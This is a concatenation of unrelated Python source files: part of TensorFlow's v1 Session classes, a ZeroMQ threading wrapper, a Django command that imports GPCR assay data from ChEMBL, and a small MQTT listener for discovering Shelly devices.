(pointer to a) [`RunOptions`] protocol buffer, or None run_metadata: A (pointer to a) [`RunMetadata`] protocol buffer, or None Returns: A list of numpy ndarrays, corresponding to the elements of `fetch_list`. If the ith element of `fetch_list` contains the name of an operation, the first Tensor output of that operation will be returned for that element. Raises: tf.errors.OpError: Or one of its subclasses on error. """ # pylint: disable=protected-access feeds = dict((t.deref()._as_tf_output(), v) for t, v in feed_dict.items()) fetches = [t._as_tf_output() for t in fetch_list] targets = [op._c_op for op in target_list] # pylint: enable=protected-access def _run_fn(feed_dict, fetch_list, target_list, options, run_metadata): # Ensure any changes to the graph are reflected in the runtime. self._extend_graph() return self._call_tf_sessionrun(options, feed_dict, fetch_list, target_list, run_metadata) def _prun_fn(handle, feed_dict, fetch_list): if target_list: raise RuntimeError('partial_run() requires empty target_list.') return self._call_tf_sessionprun(handle, feed_dict, fetch_list) if handle is None: return self._do_call(_run_fn, feeds, fetches, targets, options, run_metadata) else: return self._do_call(_prun_fn, handle, feeds, fetches) def _do_call(self, fn, *args): try: return fn(*args) except errors.OpError as e: message = compat.as_text(e.message) m = BaseSession._NODEDEF_NAME_RE.search(message) node_def = None op = None if m is not None: node_name = m.group(3) try: op = self._graph.get_operation_by_name(node_name) node_def = op.node_def except KeyError: pass message = error_interpolation.interpolate(message, self._graph) if 'only supports NHWC tensor format' in message: message += ('\nA possible workaround: Try disabling Grappler optimizer' '\nby modifying the config for creating the session eg.' '\nsession_config.graph_options.rewrite_options.' 'disable_meta_optimizer = True') raise type(e)(node_def, op, message) # pylint: disable=no-value-for-parameter def _extend_graph(self): with self._graph._session_run_lock(): # pylint: disable=protected-access tf_session.ExtendSession(self._session) # The threshold to run garbage collection to delete dead tensors. _DEAD_HANDLES_THRESHOLD = 10 def _register_dead_handle(self, handle): # Register a dead handle in the session. Delete the dead tensors when # the number of dead tensors exceeds certain threshold. tensors_to_delete = None with self._delete_lock: self._dead_handles.append(handle) if len(self._dead_handles) == BaseSession._DEAD_HANDLES_THRESHOLD: tensors_to_delete = self._dead_handles self._dead_handles = [] # Delete the dead tensors. if tensors_to_delete: feeds = {} fetches = [] for deleter_key, tensor_handle in enumerate(tensors_to_delete): holder, deleter = session_ops._get_handle_deleter( self.graph, deleter_key, tensor_handle) feeds[holder] = tensor_handle fetches.append(deleter) self.run(fetches, feed_dict=feeds) def _update_with_movers(self, feed_dict, feed_map): # If a tensor handle that is fed to a device incompatible placeholder, # we move the tensor to the right device, generate a new tensor handle, # and update `feed_dict` to use the new handle. handle_movers = [] for feed_name, val in feed_map.items(): mover = session_ops._get_handle_mover(self.graph, *val) if mover: handle_movers.append((feed_name, val[1], mover)) # Transfer a tensor to the right device if needed. if not handle_movers: return [] else: feeds = {} fetches = [] for _, handle, mover in handle_movers: feeds[mover[0]] = handle fetches.append(mover[1]) handles = self.run(fetches, feed_dict=feeds) for handle_mover, handle in zip(handle_movers, handles): np_val = np.array(handle.handle, dtype=np.object_) feed_name = handle_mover[0] feed_tensor = feed_map[feed_name][0] feed_dict[feed_tensor.ref()] = np_val return handles def _call_tf_sessionrun(self, options, feed_dict, fetch_list, target_list, run_metadata): return tf_session.TF_SessionRun_wrapper(self._session, options, feed_dict, fetch_list, target_list, run_metadata) def _call_tf_sessionprun(self, handle, feed_dict, fetch_list): return tf_session.TF_SessionPRun_wrapper(self._session, handle, feed_dict, fetch_list) # pylint: disable=protected-access class _Callable(object): """Experimental wrapper for the C++ `Session::MakeCallable()` API.""" def __init__(self, session, callable_options): self._session = session self._handle = None options_ptr = tf_session.TF_NewBufferFromString( compat.as_bytes(callable_options.SerializeToString())) try: self._handle = tf_session.TF_SessionMakeCallable( session._session, options_ptr) finally: tf_session.TF_DeleteBuffer(options_ptr) def __call__(self, *args, **kwargs): run_metadata = kwargs.get('run_metadata', None) try: run_metadata_ptr = tf_session.TF_NewBuffer() if run_metadata else None ret = tf_session.TF_SessionRunCallable(self._session._session, self._handle, args, run_metadata_ptr) if run_metadata: proto_data = tf_session.TF_GetBuffer(run_metadata_ptr) run_metadata.ParseFromString(compat.as_bytes(proto_data)) finally: if run_metadata_ptr: tf_session.TF_DeleteBuffer(run_metadata_ptr) return ret def __del__(self): # NOTE(mrry): It is possible that `self._session.__del__()` could be # called before this destructor, in which case `self._session._session` # will be `None`. if (self._handle is not None and self._session._session is not None and not self._session._closed): tf_session.TF_SessionReleaseCallable(self._session._session, self._handle) # pylint: enable=protected-access def _make_callable_from_options(self, callable_options): """Returns a handle to a "callable" with the given options. Args: callable_options: A `CallableOptions` protocol buffer message describing the computation that will be performed by the callable. Returns: A handle to the new callable. """ self._extend_graph() return BaseSession._Callable(self, callable_options) @tf_export(v1=['Session']) class Session(BaseSession): """A class for running TensorFlow operations. A `Session` object encapsulates the environment in which `Operation` objects are executed, and `Tensor` objects are evaluated. For example: ```python tf.compat.v1.disable_eager_execution() # need to disable eager in TF2.x # Build a graph. a = tf.constant(5.0) b = tf.constant(6.0) c = a * b # Launch the graph in a session. sess = tf.compat.v1.Session() # Evaluate the tensor `c`. print(sess.run(c)) # prints 30.0 ``` A session may own resources, such as `tf.Variable`, `tf.queue.QueueBase`, and `tf.compat.v1.ReaderBase`. It is important to release these resources when they are no longer required. To do this, either invoke the `tf.Session.close` method on the session, or use the session as a context manager. The following two examples are equivalent: ```python # Using the `close()` method. sess = tf.compat.v1.Session() sess.run(...) sess.close() # Using the context manager. with tf.compat.v1.Session() as sess: sess.run(...) ``` The [`ConfigProto`](https://www.tensorflow.org/code/tensorflow/core/protobuf/config.proto) protocol buffer exposes various configuration options for a session. For example, to create a session that uses soft constraints for device placement, and log the resulting placement decisions, create a session as follows: ```python # Launch the graph in a session that allows soft device placement and # logs the placement decisions. sess = tf.compat.v1.Session(config=tf.compat.v1.ConfigProto( allow_soft_placement=True, log_device_placement=True)) ``` @compatibility(TF2) `Session` does not work with either eager execution or `tf.function`, and you should not invoke it directly. To migrate code that uses sessions to TF2, rewrite the code without it. See the [migration guide](https://www.tensorflow.org/guide/migrate#1_replace_v1sessionrun_calls) on replacing `Session.run` calls. @end_compatibility """ def __init__(self, target='', graph=None, config=None): """Creates a new TensorFlow session. If no `graph` argument is specified when constructing the session, the default graph will be launched in the session. If you are using more than one graph (created with `tf.Graph()`) in the same process, you will have to use different sessions for each graph, but each graph can be used in multiple sessions. In this case, it is often clearer to pass the graph to be launched explicitly to the session constructor. Args: target: (Optional.) The execution engine to connect to. Defaults to using an in-process engine. See [Distributed TensorFlow](https://tensorflow.org/deploy/distributed) for more examples. graph: (Optional.) The `Graph` to be launched (described above). config: (Optional.) A [`ConfigProto`](https://www.tensorflow.org/code/tensorflow/core/protobuf/config.proto) protocol buffer with configuration options for the session. """ super(Session, self).__init__(target, graph, config=config) # NOTE(mrry): Create these on first `__enter__` to avoid a reference cycle. self._default_graph_context_manager = None self._default_session_context_manager = None def __enter__(self): if self._default_graph_context_manager is None: self._default_graph_context_manager = self.graph.as_default() else: raise RuntimeError('Session context managers are not re-entrant. ' 'Use `Session.as_default()` if you want to enter ' 'a session multiple times.') if self._default_session_context_manager is None: self._default_session_context_manager = self.as_default() self._default_graph_context_manager.__enter__() return self._default_session_context_manager.__enter__() def __exit__(self, exec_type, exec_value, exec_tb): if exec_type is errors.OpError: logging.error('Session closing due to OpError: %s', (exec_value,)) try: self._default_session_context_manager.__exit__(exec_type, exec_value, exec_tb) except RuntimeError as error: if error == exec_value: # NOTE(skyewm): for some reason, in Python3, # _default_session_context_manager.__exit__ will re-raise the "not # re-entrant" exception raised in __enter__ above (note that if we're # here, we're in the outer session context manager, since __exit__ is # not called when __enter__ raises an exception). We still want to # continue cleaning up this context manager before the exception is # further propagated, so we ignore it here (note that it'll continue # being propagated after this method completes). pass else: raise self._default_graph_context_manager.__exit__(exec_type, exec_value, exec_tb) self._default_session_context_manager = None self._default_graph_context_manager = None # If we are closing due to an exception, set a time limit on our Close() to # avoid blocking forever. # TODO(b/120204635) remove this when deadlock is fixed. if exec_type: close_thread = threading.Thread( name='SessionCloseThread', target=self.close) close_thread.daemon = True close_thread.start() close_thread.join(30.0) if close_thread.is_alive(): logging.error( 'Session failed to close after 30 seconds. Continuing after this ' 'point may leave your program in an undefined state.') else: self.close() @staticmethod def reset(target, containers=None, config=None): """Resets resource containers on `target`, and close all connected sessions. A resource container is distributed across all workers in the same cluster as `target`. When a resource container on `target` is reset, resources associated with that container will be cleared. In particular, all Variables in the container will become undefined: they lose their values and shapes. NOTE: (i) reset() is currently only implemented for distributed sessions. (ii) Any sessions on the master named by `target` will be closed. If no resource containers are provided, all containers are reset. Args: target: The execution engine to connect to. containers: A list of resource container name strings, or `None` if all of all the containers are to be reset. config: (Optional.) Protocol buffer with configuration options. Raises: tf.errors.OpError: Or one of its subclasses if an error occurs while resetting containers. """ if target is not None: target = compat.as_bytes(target) if containers is not None: containers = [compat.as_bytes(c) for c in containers] else: containers = [] tf_session.TF_Reset(target, containers, config) @tf_export(v1=['InteractiveSession']) class InteractiveSession(BaseSession): """A TensorFlow `Session` for use in interactive contexts, such as a shell. The only difference with a regular `Session` is that an `InteractiveSession` installs itself as the default session on construction. The methods `tf.Tensor.eval` and `tf.Operation.run` will use that session to run ops. This is convenient in interactive shells and [IPython notebooks](http://ipython.org), as it avoids having to pass an explicit `Session` object to run ops. For example: ```python sess = tf.compat.v1.InteractiveSession() a = tf.constant(5.0) b = tf.constant(6.0) c = a * b # We can just use 'c.eval()' without passing 'sess' print(c.eval()) sess.close() ``` Note that a regular session installs itself as the default session when it is created in a `with` statement. The common usage in non-interactive programs is to follow that pattern: ```python a = tf.constant(5.0) b = tf.constant(6.0) c = a * b with tf.compat.v1.Session(): # We can also use 'c.eval()' here. print(c.eval()) ``` """ _count_lock = threading.Lock() _active_session_count = 0 # GUARDED_BY(_count_lock) def __init__(self, target='', graph=None, config=None): """Creates a new interactive TensorFlow session. If no `graph` argument is specified when constructing the session, the default graph will be launched in the session. If you are using more than one graph (created with `tf.Graph()`) in the same process, you will have to use different sessions for each graph, but each graph can be used in multiple sessions. In this case, it is often clearer to pass the graph to be launched explicitly to the session constructor. Args: target: (Optional.) The execution engine to connect to. Defaults to using an in-process engine. graph: (Optional.) The `Graph` to be launched (described above). config: (Optional) `ConfigProto` proto used to configure the session. """ if not config: # If config is not provided, choose some reasonable defaults for # interactive use: # # - Grow GPU memory as needed at the cost of fragmentation. gpu_options = config_pb2.GPUOptions(allow_growth=True) config = config_pb2.ConfigProto(gpu_options=gpu_options) # Interactive sessions always place pruned graphs. config.graph_options.place_pruned_graph = True super(InteractiveSession, self).__init__(target, graph, config) with InteractiveSession._count_lock: if InteractiveSession._active_session_count > 0: warnings.warn('An interactive session is already active. This can ' 'cause out-of-memory errors in some cases. You must ' 'explicitly call `InteractiveSession.close()` to release ' 'resources held by the other session(s).') InteractiveSession._active_session_count += 1 # NOTE(mrry): We do not use `Session._closed` here because it has unhelpful # semantics (in particular, it is not set to true if `Session.close()` is # called on a session that has not been "opened" by running a step) and we # cannot change those semantics without breaking existing code. self._explicitly_closed = False self._default_session = self.as_default() self._default_session.enforce_nesting = False self._default_session.__enter__() self._explicit_graph = graph if self._explicit_graph is not None: self._default_graph = graph.as_default() self._default_graph.enforce_nesting = False self._default_graph.__enter__() def close(self): """Closes an `InteractiveSession`.""" super(InteractiveSession, self).close() with InteractiveSession._count_lock: if not self._explicitly_closed: InteractiveSession._active_session_count -= 1 self._explicitly_closed = True else: return if self._explicit_graph is not None: self._default_graph.__exit__(None, None, None) self._default_graph = None self._default_session.__exit__(None, None, None) self._default_session = None
threads.py
from functools import singledispatchmethod from threading import Thread, Lock, Event, current_thread import zmq from zmq import Poller, Context from .manager import TubeMessage, Tube as AsyncTube, TubeNode as AsyncTubeNode,\ TubeMethodNotSupported, TubeMessageError, TubeMessageTimeout, \ TubeTopicNotConfigured class TubeThreadDeadLock(Exception): pass class DaemonThread(Thread): def __init__(self, *args, **kwargs): self.stop_event = Event() kwargs['daemon'] = True super().__init__(*args, **kwargs) def is_stopped(self): return self.stop_event.is_set() def stop(self): self.stop_event.set() self.join(timeout=10) class Tube(AsyncTube): def __init__(self, **kwargs): super().__init__(**kwargs) self.lock = Lock() self.context = Context().instance() @singledispatchmethod def send(self, arg): raise NotImplementedError("Unknown type of topic") @send.register def _(self, topic: str, payload=None, raw_socket=None): """ Send payload to topic. :param topic - topic :param payload - payload :param raw_socket - zmqSocket, it used for non permanent connection """ message = TubeMessage( self, payload=payload, topic=topic, raw_socket=raw_socket if raw_socket else self.raw_socket ) self.send(message) @send.register def _(self, message: TubeMessage): """ Send message. :param message - TubeMessage """ raw_msg = message.format_message() self.logger.debug("Send (tube: %s) to %s", self.name, raw_msg) if not self.lock.acquire(timeout=10): raise TubeThreadDeadLock() try: message.raw_socket.send_multipart(raw_msg) except (TypeError, zmq.ZMQError) as ex: raise TubeMessageError( f"The message '{message}' does not be sent.") from ex finally: self.lock.release() @singledispatchmethod def request(self, arg) -> TubeMessage: raise NotImplementedError("Unknown type of topic") @request.register def _(self, topic: str, payload=None, timeout=None): request = TubeMessage( self, payload=payload, topic=topic, raw_socket=self.raw_socket ) return self.request(request, timeout) @request.register def _(self, request: TubeMessage, timeout: int = 30): if self.tube_type != zmq.REQ: raise TubeMethodNotSupported( f"The tube '{self.name}' (type: '{self.tube_type_name}') " f"can request topic." ) try: self.send(request) # if request.raw_socket.poll(timeout * 1000) == zmq.POLLIN: counter = timeout while (res := request.raw_socket.poll(1000)) != 0 or \ (counter != 0 and not self.is_closed): if res != 0: response = self.receive_data(raw_socket=request.raw_socket) if response.topic != request.topic: raise TubeMessageError( f"The response comes to different topic " f"({request.topic} != {response.topic}).") return response elif counter == 0: self.logger.error("The request timout") break counter -= 1 finally: if not self.is_persistent: self.logger.debug(f"Close tube {self.name}") request.raw_socket.close(3000) raise TubeMessageTimeout( f"No answer for the request in {timeout}s. Topic: {request.topic}") def receive_data(self, raw_socket=None, timeout=3): if not raw_socket: raw_socket = self.raw_socket if not self.lock.acquire(timeout=timeout): raise TubeThreadDeadLock() try: raw_data = raw_socket.recv_multipart() finally: self.lock.release() self.logger.debug( f"Received (tube {self.name}): {raw_data}") message = TubeMessage(tube=self, raw_socket=raw_socket) message.parse(raw_data) return message class TubeNode(AsyncTubeNode): __TUBE_CLASS = Tube def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.__main_thread = None def request(self, topic: str, payload=None, timeout=30) \ -> TubeMessage: tube = self.get_tube_by_topic(topic, [zmq.REQ]) if not tube: raise TubeTopicNotConfigured(f'The topic "{topic}" is not assigned ' f'to any Tube for request.') res = tube.request(topic, payload, timeout) return res def stop(self): if self.__main_thread: self.__main_thread.stop() def start(self): def _callback_wrapper(_callback, _request: TubeMessage): tube = _request.tube response = _callback(_request) if not isinstance(response, TubeMessage): if tube.tube_type in [zmq.ROUTER]: raise TubeMessageError( f"The response of the {tube.tube_type_name} " f"callback has to be a instance of TubeMessage class.") _payload = response response = _request.create_response() response.payload = _payload else: if tube.tube_type in [zmq.ROUTER] and\ response.request.identity != response.identity: raise TubeMessageError( "The TubeMessage response object doesn't be created " "from request object.") try: tube.send(response) except TubeThreadDeadLock: self.logger.error( f"The tube '{tube.name}' waits more then " f"10s for access to socket.") def _one_event(request): callbacks = self.get_callback_by_topic(request.topic, request.tube) if not callbacks: if self.warning_not_mach_topic: self.logger.warning( f"Incoming message does not match any topic, " f"it is ignored (topic: {request.topic})" ) return c_process = current_thread() if request.tube.tube_type == zmq.SUB: for callback in callbacks: c_process.name = 'zmq/worker/sub' callback(request) elif request.tube.tube_type == zmq.REP: c_process.name = 'zmq/worker/rep' _callback_wrapper(callbacks[-1], request) elif request.tube.tube_type == zmq.ROUTER: c_process.name = 'zmq/worker/router' _callback_wrapper(callbacks[-1], request) elif request.tube.tube_type == zmq.DEALER: c_process.name = 'zmq/worker/router' callbacks[-1](request) def _main_loop(): poller = Poller() run_this_thread = False for tube in self.tubes: if tube.tube_type in [zmq.SUB, zmq.REP, zmq.ROUTER, zmq.DEALER]: poller.register(tube.raw_socket, zmq.POLLIN) run_this_thread = True if not run_this_thread: self.logger.debug("The main process is disabled, " "There is not registered any supported tube.") return self.logger.info("The main process was started.") cur_thread = current_thread() while not cur_thread.is_stopped(): events = poller.poll(timeout=100) for event in events: # self.logger.debug(f"New event {event}") raw_socket = event[0] tube: Tube = raw_socket.__dict__['tube'] try: request = tube.receive_data( raw_socket=raw_socket ) Thread( target=_one_event, args=(request, ), name=f"zmq/worker/{tube.name}" ).start() except TubeThreadDeadLock: self.logger.error( f"The tube '{tube.name}' waits more then " f"3s for access to socket.") self.logger.info("The main process was ended.") self.__main_thread = DaemonThread(target=_main_loop, name='zmq/main') self.__main_thread.start() return self.__main_thread
build_chembl_data.py
from django.core.management.base import BaseCommand, CommandError from django.conf import settings from django.db import connection from django.db import IntegrityError from django.utils.text import slugify from django.http import HttpResponse, JsonResponse from build.management.commands.base_build import Command as BaseBuild from common.tools import fetch_from_cache, save_to_cache, fetch_from_web_api from residue.models import Residue from protein.models import Protein, ProteinGProteinPair from ligand.models import * from mutation.models import Mutation from ligand.functions import get_or_make_ligand from common.models import WebLink, WebResource, Publication from multiprocessing.pool import ThreadPool from chembl_webresource_client.new_client import new_client import queue import logging import os from datetime import datetime import xlrd import operator import traceback import time import math import json import threading import concurrent.futures import pytz MISSING_PROTEINS = {} SKIPPED = 0 class Command(BaseBuild): mylog = logging.getLogger(__name__) mylog.setLevel(logging.INFO) formatter = logging.Formatter('%(asctime)s:%(levelname)s:%(message)s') file_handler = logging.FileHandler('biasDataTest.log') file_handler.setLevel(logging.ERROR) file_handler.setFormatter(formatter) mylog.addHandler(file_handler) help = 'Updates ChEMBL data and imports it' publication_cache = {} ligand_cache = {} data_all = [] my_queue = queue.Queue() def storeInQueue(f): def wrapper(*args): my_queue.put(f(*args)) return wrapper def add_arguments(self, parser): parser.add_argument('-p', '--proc', type=int, action='store', dest='proc', default=1, help='Number of processes to run') parser.add_argument('-f', '--filename', action='append', dest='filename', help='Filename to import. Can be used multiple times') parser.add_argument('-u', '--purge', action='store_true', dest='purge', default=False, help='Purge existing bias records') parser.add_argument('--test_run', action='store_true', help='Skip this during a test run', default=False) def handle(self, *args, **options): if options['test_run']: print('Skipping in test run') return # delete any existing structure data if options['purge']: try: print('Started purging bias data') self.purge_bias_data() print('Ended purging bias data') except Exception as msg: print(msg) self.logger.error(msg) # import the structure data # self.analyse_rows() try: print('Updatind ChEMBL data') self.analyse_rows() self.logger.info('COMPLETED updating ChEMBL Data') except Exception as msg: print('--error--', msg, '\n') self.logger.info("The error appeared in def handle") def purge_bias_data(self): delete_bias_excel = BiasedExperiment.objects.all() delete_bias_excel.delete() delete_bias_experiment = AnalyzedExperiment.objects.all() delete_bias_experiment.delete() def get_gpcrs(self): print('---get_gpcrs from ChEMBL---') g_family_ids = [ 1,147,165,166,202,281,407,435,446,460,468,479,480,483,484,486,487,491,499,500,501,502,503,504,506,507,508,509, 510,515,516,517,518,528,533,534,535,540,541,542,544,547,548,549,550,551,554,555, 556,558,559,561,562,563,565,566,567,568,569,570,571,573,574,603,604,605,606,607, 608,609,610,611,612,613,614,615,616,617,618,619,620,621,830,1020,1021,1022,1038, 1082,1083,1088,1089,1251,1253,1256,1259,1265,1266,1267,1268,1269,1270,1271,1272, 1273,1274,1275,1277,1278] target_list = set() for item in g_family_ids: gproteins = new_client.target_component.filter(protein_classifications__protein_classification_id=item).only('targets') for protein in gproteins: for target in protein['targets']: if target['target_chembl_id'] not in target_list: target_list.add(target['target_chembl_id']) else: pass print('GPCRS ready') return target_list def get_chembl_assay(self,targets, prev_id, current_id): # gets assays from ChEMBL (by batch sie of 20). Filters using Tsonko rules, GPCRs. # as arguments takes GPCR ids(targets), batch start size (prev_id) and end size(current_id) new_test = new_client.activity.filter(pchembl_value__isnull=False).filter(data_validity_comment__isnull=True ).filter(standard_value__isnull = False ).filter(standard_units__isnull = False ).filter(target_chembl_id__in = targets ).only(['molecule_chembl_id', 'target_chembl_id' ,'standard_type', 'standard_value','standard_units','standard_relation','activity_comment', 'assay_description','assay_type', 'document_chembl_id','pchembl_value', 'activity_id','canonical_smiles','assay_chembl_id'])[prev_id:current_id] return new_test def get_dois(self, dci, q): # gets references for assays from ChEMBL (DOI) pubs = new_client.document.filter(document_chembl_id = dci).only('doi') if len(pubs) > 0: doi = pubs[0]['doi'] q.put(doi) else: q.put(None) def get_cell_line(self, assay_id, q): # gets cell line info for assays from ChEMBL new_test = new_client.assay.filter(assay_chembl_id = assay_id).only('assay_cell_type') if len(new_test) > 0: cell_line = new_test[0]['assay_cell_type'] q.put(cell_line) else: q.put('no data') def valdiate_data(self, i): #validates ChEMBL assays in accordance with addtional Tsonko rules result = False if(i['standard_units'] == 'nM' or i['standard_units'] == 'um' or i['standard_units'] == 'M' or i['standard_units'] == 'pmol' or i['standard_units'] == 'mM' or i['standard_units'] == 'fmol' or i['standard_units'] == 'pM' or i['standard_units'] == 'nmol' or i['standard_units'] == 'fM'): if ( i['assay_type'] != 'U' or i['assay_type'] != 'A'): if( i['activity_comment'] != 'inconclusive' or i['activity_comment'] != 'Inconclusive'): result = True return result def process_chembl(self,chembl_assays, temp_increment): #Loop through API results (20 objects per batch) chembl_data = dict() main_dict = dict() increment = 0 for i in chembl_assays: temp_increment = temp_increment+1 if self.valdiate_data(i) == False: continue temp_dict = dict() temp_dict['protein'] = self.fetch_protein( i['target_chembl_id']) temp_dict['doi']=None if temp_dict['protein'] == None: continue temp_dict['smiles'] = i['canonical_smiles'] temp_dict['ligand'] = self.fetch_ligand(i['molecule_chembl_id'],i['canonical_smiles']) if temp_dict['ligand'] == None: continue if( self.check_dublicates(temp_dict["ligand"], temp_dict["protein"], i["assay_description"], i["molecule_chembl_id"], i["standard_value"],i["standard_units"], i["pchembl_value"]) == True): continue # q = queue.Queue() # x=threading.Thread(target=self.get_cell_line, args=(i['assay_chembl_id'], q)).start() cell_line = None # # pub_q = queue.Queue # y=threading.Thread(target=self.get_dois, args=(i['document_chembl_id'], q)).start() # pub = q.get() # if pub is not None: # temp_dict['doi'] = self.fetch_publication(pub) temp_dict['activity_id'] = i['activity_id'] temp_dict['standard_type'] = i['standard_type'] temp_dict['standard_value'] = i['standard_value'] temp_dict['standard_units'] = i['standard_units'] temp_dict['standard_relation'] = i['standard_relation'] temp_dict['assay_description'] = i['assay_description'] temp_dict['assay_type'] = i['assay_type'] temp_dict['cell_line'] = cell_line temp_dict['pchembl_value'] = i['pchembl_value'] temp_dict['document_chembl_id'] = i['document_chembl_id'] temp_dict['chembl_id'] = i['molecule_chembl_id'] temp_dict['assay_id'] = i['assay_chembl_id'] chembl_data[increment] = temp_dict increment=increment+1 self.upload_to_db(chembl_data) def analyse_rows(self): """ Fetch data to models Saves to DB """ print('---Starting---') current_id = 0 prev_id = 0 start = time.time() target_list = self.get_gpcrs() target_list_list = list(target_list) start = time.time() chembl_assays = None print('---process_chembl---') #range should be set to number of total objects/20 (API batch size) #555200 is the last id saved before session was aborted for i in range(30578): current_id = 591900 + ((i+1) * 20) prev_id = 591900 + (i *20) chembl_assays = self.get_chembl_assay(target_list_list, prev_id, current_id) chembl_assays=list(chembl_assays) self.process_chembl(chembl_assays,current_id) # control the flow if(current_id%100==0): end = time.time() print('---temp_increment time---',current_id, end - start) def check_dublicates(self, ligand, protein, assay_description, chembl,standard_value,standard_units, pchembl_value ): # Checks if assay experiment is already saved try: experiment = AssayExperiment.objects.filter( ligand=ligand, protein=protein, assay_description=assay_description, chembl=chembl,standard_value=standard_value,standard_units=standard_units,pchembl_value=pchembl_value ) experiment = experiment.get() if experiment: return True else: return False except Exception as msg: experiment = None self.mylog.exception( "Experiment AnalyzedExperiment error | module: AnalyzedExperiment.") return False def upload_to_db(self, chembl): # saves data for i in chembl.items(): chembl_data = AssayExperiment(ligand = i[1]["ligand"], publication = i[1]["doi"], protein = i[1]["protein"], chembl = i[1]["chembl_id"], smiles = i[1]["smiles"], cell_line = i[1]['cell_line'], activity = i[1]["activity_id"], standard_type = i[1]["standard_type"], standard_value = i[1]["standard_value"], standard_units = i[1]["standard_units"], standard_relation = i[1]["standard_relation"], assay_description = i[1]["assay_description"], assay_type = i[1]["assay_type"], pchembl_value = i[1]["pchembl_value"], document_chembl_id = i[1]["document_chembl_id"], ) chembl_data.save() # print('--saved---') def fetch_measurements(self, potency, p_type, unit): # it was used for bias prediction build. Temporarily unused if p_type.lower() == 'pec50': potency = 10**(potency*(-1)) p_type = 'EC50' elif p_type.lower() == 'logec50': potency = 10**(potency) p_type = 'EC50' elif p_type.lower() == 'pic50': potency = 10**(potency*(-1)) p_type = 'IC50' elif p_type.lower() == 'logic50': potency = 10**(potency) p_type = 'IC50' elif p_type.lower() == 'ec50': if unit.lower() == 'nm': potency = potency* 10**(-9) elif unit.lower() == 'µm': potency = potency* 10**(-9) elif unit.lower() == 'pm': potency = potency* 10**(-12) elif unit.lower() == 'mm': potency = potency* 10**(-6) else: pass if potency: potency = "{:.2E}".format(Decimal(potency)) return potency,p_type def fetch_protein(self,target): """ fetch receptor with Protein model requires: protein id, source """ test = None test = Protein.objects.filter(web_links__index = target, web_links__web_resource__slug = 'chembl').first() return test def fetch_ligand(self, ligand_id, smiles): """ fetch ligands with Ligand model requires: ligand id, ligand id type, ligand name requires: source_file name """ l = None try: if ligand_id in self.ligand_cache: l = self.ligand_cache[ligand_id] else: l = Ligand.objects.filter(properities__web_links__index=ligand_id).first() if l: cid = l.properities.web_links.filter(web_resource__slug = 'pubchem').first() if cid: cid = cid.index else: l = None else: l = get_or_make_ligand(smiles, 'SMILES', ligand_id, ) except Exception as msg: l = None # print('ligand_id---',l,'\n end') return l def fetch_publication(self, publication_doi): """ fetch publication with Publication model requires: publication doi or pmid """ try: float(publication_doi) publication_doi = str(int(publication_doi)) except ValueError: pass if publication_doi.isdigit(): # assume pubmed pub_type = 'pubmed' else: # assume doi pub_type = 'doi' if publication_doi not in self.publication_cache: try: wl = WebLink.objects.get( index=publication_doi, web_resource__slug=pub_type) except WebLink.DoesNotExist: try: wl = WebLink.objects.create(index=publication_doi, web_resource=WebResource.objects.get(slug=pub_type)) except IntegrityError: wl = WebLink.objects.get( index=publication_doi, web_resource__slug=pub_type) try: pub = Publication.objects.get(web_link=wl) except Publication.DoesNotExist: pub = Publication() try: pub.web_link = wl pub.save() except IntegrityError: pub = Publication.objects.get(web_link=wl) if pub_type == 'doi': pub.update_from_doi(doi=publication_doi) elif pub_type == 'pubmed': pub.update_from_pubmed_data(index=publication_doi) try: pub.save() except: self.mylog.debug( "publication fetching error | module: fetch_publication. Row # is : " + str(publication_doi) + ' ' + pub_type) # if something off with publication, skip. self.publication_cache[publication_doi] = pub else: pub = self.publication_cache[publication_doi] return pub
mqtt.py
import socket import threading import json from .const import ( LOGGER, SHELLY_TYPES ) class MQTT_connection: def __init__(self, mqtt, connection, client_address): self._mqtt = mqtt self._connection = connection #connection.settimeout(5) self._client_address = client_address self._thread = threading.Thread(target=self._loop) self._thread.name = "MQTT connection" self._thread.daemon = True self._thread.start() def _loop(self): try: # Receive the data in small chunks and retransmit it while not self._mqtt._root.stopped.isSet(): try: head = self._connection.recv(1) if not head: break pkg_type=head[0]>>4 flags=head[0]&0xF length = 0 for s in range(0,4): ldata = self._connection.recv(1)[0] length += (ldata & 0x7F) << (s * 7) if not ldata & 128: break LOGGER.debug(f"type=%d, flags=%d, length=%d" % (pkg_type, flags, length)) data = self._connection.recv(length) if length else None if pkg_type==1: msg = b'\x20\x04\x20\x00\x00\0x00' self._connection.send(msg) if pkg_type==3: topic_len = (data[0]<<8) + data[1] topic = data[2:2+topic_len].decode('ASCII') payload = data[2+topic_len:] if topic=='shellies/announce': payload = json.loads(payload) ip_addr = payload['ip'] shelly_id = payload['id'] shelly_type, device_id = shelly_id.rsplit('-',1) device_type = self._mqtt._mqtt_types.get(shelly_type) if device_type: self._mqtt._root.update_block(device_id, \ device_type, ip_addr, 'MQTT-discovery', None) else: topics = topic.split('/') shelly_id = topics[1] shelly_type, device_id = shelly_id.rsplit('-',1) device_type = self._mqtt._mqtt_types.get(shelly_type) self._mqtt._root.update_block(device_id, \ device_type, None, 'MQTT-data', None, True) if pkg_type==12: msg = b'\xD0\x00' self._connection.send(msg) except socket.timeout: pass except Exception as ex: LOGGER.exception("Error receiving MQTT message") break finally: #Clean up try: self._connection.close() except: pass try: self._mqtt._connections.remove(self) except: pass class MQTT(): def __init__(self, root): self._root = root self._thread = threading.Thread(target=self._loop) self._thread.name = "MQTT" self._thread.daemon = True self._socket = None self._connections = [] self._mqtt_types = {} for key, item in SHELLY_TYPES.items(): if 'mqtt' in item: self._mqtt_types[item['mqtt']]=key def start(self): if self._root.mqtt_port > 0: self._init_socket() self._thread.start() def _init_socket(self): # Create a TCP/IP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((self._root.bind_ip, self._root.mqtt_port)) sock.listen(1) self._socket = sock def _loop(self): while not self._root.stopped.isSet(): try: # Wait for a connection connection, client_address = self._socket.accept() conn = MQTT_connection(self, connection, client_address) self._connections.append(conn) except Exception as ex: LOGGER.exception("Error connect MQTT") def close(self): if self._socket: self._socket.close()
helper.py
